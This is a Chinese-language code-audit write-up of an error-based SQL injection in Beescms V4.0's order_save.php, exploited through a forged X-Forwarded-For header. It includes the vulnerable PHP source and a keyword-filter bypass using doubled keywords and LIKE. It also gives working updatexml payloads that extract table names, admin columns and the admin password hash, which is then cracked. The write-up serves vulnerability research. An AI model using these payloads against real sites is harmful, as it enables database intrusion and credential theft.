1. 程式人生 > 實用技巧 >Beescms V4.0_R_20160525程式碼審計筆記

Beescms V4.0_R_20160525程式碼審計筆記

寫在前面

  • 什麼是報錯注入?正常使用者訪問伺服器傳送id資訊返回正確的id資料。報錯注入是想辦法構造語句,讓錯誤資訊中可以顯示資料庫的內容;如果能讓錯誤資訊中返回資料庫中的內容,即實現SQL注入。

復現過程

CNVD看到如下詳情:

本地搭建一套找下漏洞觸發點。

搜尋原始碼目錄,符合or***_sa***.php的檔案只有一個:order_save.php

先貼下程式碼:

<?php

define('CMS',true);
require_once('../includes/init.php');
$lang = $_REQUEST['lang'];
$fields=$_POST['fields'];
//表單驗證碼
$feed_code=$_POST['feed_code'];
if(empty($feed_code)){die("<script type=\"text/javascript\">alert('{$language['member_msg2']}');history.go(-1);</script>");}
if($feed_code!=$_SESSION['code']){die("<script type=\"text/javascript\">alert('{$language['member_msg2']}');history.go(-1);</script>");}

if(empty($fields)||empty($form_id)){die($language['order_msg1']);}

if(file_exists(LANG_PATH.'lang_'.$lang.'.php')){include(LANG_PATH.'lang_'.$lang.'.php');}//語言包快取,陣列$language
if(file_exists(DATA_PATH.'cache_form/form.php')){include(DATA_PATH.'cache_form/form.php');}
if(!empty($form)){
	foreach($form as $k=>$v){
		if($v['id']==$form_id&&!$v['is_disable']){
			$form=$v;
		}
	}
}

if(file_exists(DATA_PATH.'cache_form/field.php')){include(DATA_PATH.'cache_form/field.php');}
$fd=array();
if(!empty($field)){
	foreach($field as $k=>$v){
		if($v['form_id']==$form_id&&$v['field_type']!='checkbox'){
			$fd[]=$v['field_name'];
		}
	}
}
$sql_field='';
$sql_value='';
if(!empty($fields)){
foreach($fields as $key=>$value){
			if(!is_array($value)){
			if(!in_array($key,$fd)){die($language['order_msg1']);}
			}
			$sql_field.=','.$key;
			if(is_array($value)){
				foreach($value as $k=>$v){
					$value_str.=$v.',';
				}
				$value=$value_str;
			}
			$sql_value.=",'".fl_html($value)."'";			
}
}else{
	die($language['order_msg2']);
}
$table=$form['form_mark'];
$tables=$mysql->show_tables();
	if(!in_array(DB_PRE.$table,$tables)){
		die($language['order_msg3']);
	}
$addtime=time();
$ip=fl_value(get_ip());
$ip=fl_html($ip);
$member_id=empty($_SESSION['id'])?0:$_SESSION['id'];
$arc_id=empty($f_id)?0:intval($_POST['f_id']);
$sql="insert into ".DB_PRE."formlist (form_id,form_time,form_ip,member_id,arc_id) values ({$form_id},{$addtime},'{$ip}','{$member_id}','{$arc_id}')";
echo $sql."\n\n";
$mysql->query($sql);
$last_id=$mysql->insert_id();
$sql_field='id'.$sql_field;
$sql_value=$last_id.$sql_value;
$sql="insert into ".DB_PRE."{$table} ({$sql_field}) values ({$sql_value})";
$mysql->query($sql);


//傳送郵件
if(!empty($_sys['mail_feed'])){
if(in_array('1',$_sys['mail_feed'])){
	$table=$form['form_mark'];
	if(!empty($table)){
		$rel=$GLOBALS['mysql']->fetch_asc("select*from ".DB_PRE."{$table} where id={$last_id}");
		$rel_arr=$rel[0];

		if(file_exists(DATA_PATH.'cache_form/field.php')){include(DATA_PATH.'cache_form/field.php');}
		
		$hmtl='<table cellpadding="0" cellspacing="0" width="100%">';
 		$hmtl.='<thead>';
		$hmtl.='<tr><th style="width:20%">引數說明</th><th style="width:80%">引數值</th></tr>';
		$hmtl.='</thead>';
		$hmtl.='<tbody>';
		unset($rel_arr['id']);
		if(!empty($rel_arr)){
			foreach($rel_arr as $key=>$value){
				$f_name="<span style=\"clear:red\">不存在該說明</span>";
				if(!empty($field)){
					foreach($field as $k=>$v){
						if($v['field_name']==$key){
							$f_name=$v['use_name'];
						}
					}
				}
				$hmtl.='<tr>';
		  		$hmtl.='<td style="width:20%; text-align:center">'.$f_name.'</td><td style="width:80%">'.$value.'</td>';
				$hmtl.='</tr>';
			}	
		}			
		$hmtl.='</tbody>';
 		$hmtl.='</table>';
		$hmtl.='<div>--------------------------------------------------------------------------------------------------------</div>';
		$hmtl.=$_sys['mail_jw'];
		
	}	
	$_sys['mail_js'] = empty($_sys['mail_js'])?$_sys['mail_mail']:$_sys['mail_js'];
	if($hmtl){
		beescms_smtp_mail($_sys['mail_js'],'','產品訂單',$hmtl);
	}	
}	
}
echo "<script type=\"text/javascript\">alert('".$language['order_msg4']."');history.go(-1);</script>";
?>

進入程式碼,先定位到SQL語句,order_save.php第57行:

$addtime=time();
$ip=fl_value(get_ip());
$ip=fl_html($ip);
$member_id=empty($_SESSION['id'])?0:$_SESSION['id'];
$arc_id=empty($f_id)?0:intval($_POST['f_id']);
$sql="insert into ".DB_PRE."formlist (form_id,form_time,form_ip,member_id,arc_id) values ({$form_id},{$addtime},'{$ip}','{$member_id}','{$arc_id}')";  //SQL語句
echo $sql."\n\n"; //這裡把SQL語句輸出方便除錯

這裡傳遞了5個引數,我們先找到對應功能,抓包看下幾個引數可控。先看下哪裡呼叫order_save.php

前臺對應功能‘產品訂購’,抓包看下:

所以我們可控的引數有:$form_id$ip$arc_id,我們逐一看下。

  1. $form_id,在快取檔案cache_category28_cn.php第28行,初始值為5:
    <?php
    $category=array (
      0 => 
      array (
        'id' => '29',
        'custom_url' => '',
        'cate_name' => '測試下級',
        'cate_mb_is' => '0',
        'cate_hide' => '0',
        'cate_channel' => '-9',
        'cate_fold_name' => '',
        'cate_order' => '10',
        'cate_rank' => '0',
        'cate_tpl' => '0',
        'cate_tpl_index' => NULL,
        'cate_tpl_list' => 'list_mx_form.html',
        'cate_tpl_content' => 'mx_form_content.html',
        'cate_title_seo' => '',
        'cate_key_seo' => '',
        'cate_info_seo' => '',
        'lang' => 'cn',
        'cate_parent' => '28',  
        'cate_html' => '1',
        'cate_nav' => '',
        'is_content' => '0',
        'cate_url' => 'http://',
        'cate_is_open' => '0',
        'form_id' => '5',
        'cate_pic1' => '',
        'cate_pic2' => '',
        'cate_pic3' => '',
        'cate_content' => '',
        'temp_id' => '0',
        'list_num' => '20',
        'nav_show' => '0',
      ),
    );?>

跟進order_save.php第25行:

$fd=array();
if(!empty($field)){
	foreach($field as $k=>$v){
		if($v['form_id']==$form_id&&$v['field_type']!='checkbox'){ 
			$fd[]=$v['field_name']; //$form_id插入注入語句時,$fd為空
		}
	}
}
$sql_field='';
$sql_value='';
if(!empty($fields)){
foreach($fields as $key=>$value){
			if(!is_array($value)){
			if(!in_array($key,$fd)){die($language['order_msg1']);} //$fd為空,退出執行,程式碼終止
			}
			$sql_field.=','.$key;
			if(is_array($value)){
				foreach($value as $k=>$v){
					$value_str.=$v.',';
				}
				$value=$value_str;
			}
			$sql_value.=",'".fl_html($value)."'";			
}
}else{
	die($language['order_msg2']);
}

‘產品訂購’表單中,form_id的初始值為5,當$form_id不等於5時,$fd為空,導致程式碼無法繼續執行,故$form_id引數無法注入。

  1. $arc_id,order _save.php第61行:
    $arc_id=empty($f_id)?0:intval($_POST['f_id']);

$arc_id$_POST['f_id']的整數值,故無法注入。

  1. $iporder_save.php第58行:
    $ip=fl_value(get_ip());
    $ip=fl_html($ip);

追下get_ip函式,./includes/fun.php第1032行:

function get_ip(){
if(!empty($_SERVER['HTTP_CLIENT_IP']))
	{
		return $_SERVER['HTTP_CLIENT_IP'];
	}
	elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
	{
		return $_SERVER['HTTP_X_FORWARDED_FOR'];
	}
	else
	{
		return $_SERVER['REMOTE_ADDR'];
	}
}

函式先取HTTP_CLIENT_IP,如果沒有就取HTTP_X_FORWARDED_FOR,還沒有就取REMOTE_ADDR,典型的XFF偽造。

再跟進下fl_valuefl_html兩個函式,./includes/fun.php第1755行:

function fl_value($str){
	if(empty($str)){return;}
	return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
	return htmlspecialchars($str);
}

對SQL注入和xss進行過濾,其中注入過濾了selectwherefrom/**=等關鍵字,我們將語句輸出,利用burp嘗試繞過,先查下當前使用者:

'or updatexml(1,concat(0x7e,(user()),0x7e),1) or'

沒問題,查下當前表:

'or updatexml(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema = database() limit 0,1),0x7e),1) or'

可以看到語句中selectfromwhere=被過濾了,這裡select我們可以用雙寫巢狀繞過:selselectectfromwhere同理,但值得注意的是,這裡正則匹配的是關鍵字和前後的空格,所以我們的繞過方法應該是: fr from omwhe where re,最後=號用like替代,修改後的語句變成:

'or updatexml(1,concat(0x7e,(selselectect concat(table_name) fr from om information_schema.tables whe where re table_schema like database() limit 0,1),0x7e),1) or'

修改limit後面的數字可以遍歷所有的表,查管理員表字段:

'or updatexml(1,concat(0x7e,(selselectect concat(column_name) fr from om information_schema.columns whe where re table_name like 'bees_admin' limit 2,1),0x7e),1) or'

查管理員密碼:

'or updatexml(1,concat(0x7e,(selselectect admin_password fr from om bees_admin),0x7e),1) or'

這裡顯示位數不夠,我們分兩次查詢:

'or updatexml(1,concat(0x7e,substr((selselectect admin_password fr from om bees_admin),1,16),0x7e),1) or'

'or updatexml(1,concat(0x7e,substr((selselectect admin_password fr from om bees_admin),17,32),0x7e),1) or'

最後利用線上md5解密網站解下密碼: